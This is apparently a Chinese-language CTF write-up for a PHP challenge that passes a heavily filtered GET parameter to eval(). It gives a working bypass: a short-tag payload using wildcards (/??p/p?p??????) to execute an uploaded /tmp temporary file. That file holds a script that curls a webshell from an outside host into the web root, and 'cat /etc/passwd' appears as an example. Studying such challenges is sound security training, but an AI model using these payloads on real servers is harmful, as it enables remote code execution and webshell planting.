题目分析
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
首先这个题目过滤了绝大部分的字符,只留下了字母p
以及小部分特殊符号
预备知识
- 短标签
- 临时文件上传
- linux命令执行的另外一种方式
- linux通配符
短标签
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>
所以我们这里可以构造(假设可以使用其它字符)
?cmd=?><?=`ls \`; # 闭合第一个php,然后构造第二个短标签形式的php
临时文件上传
我们都知道php文件上传时,一般是将文件上传到临时目录,然后再将临时目录移到其它地方
这儿主要介绍php.ini
中的两个参数
file_uploads
是否允许上传
upload_tmp_dir
是默认的临时文件的保存目录(linux默认为/tmp
)
而且需要说明一下,临时文件的保存形式
默认为 php+4或者6位随机数字和大小写字母
php[0-9A-Za-z]{3,4,5,6}
比如 :phpXXXXXX.tmp
在windows下有tmp后缀,linux没有。
在本地测试了一下,我的是php[0-9A-Za-z]{6}
的形式
假如临时文件没有及时移走或者重命名都会删除临时文件
linux命令执行的另外一种方式
其实linux
中命令可以以文件的形式存在
例如:
#! /bin/bash
cat /etc/passwd
linux通配符
有了以上的知识,我们就可以RCE了
首先我们在/tmp目录下保存一个文件
内容为:
#! /bin/bash
curl xxx.xxx.xxx.xxx > /var/www/html/a.php
然后
?cmd=?><?=`/??p/p?p??????`;
这样就可以将服务器上一句话传到根目录下了
最后总结一下过程
上传临时文件到/tmp
(内容为文件执行命令形式的内容
,任何一个php页面都可以上传)
这儿我们可以使用Burpsuite的爆破模块(一次上传不一定能成功)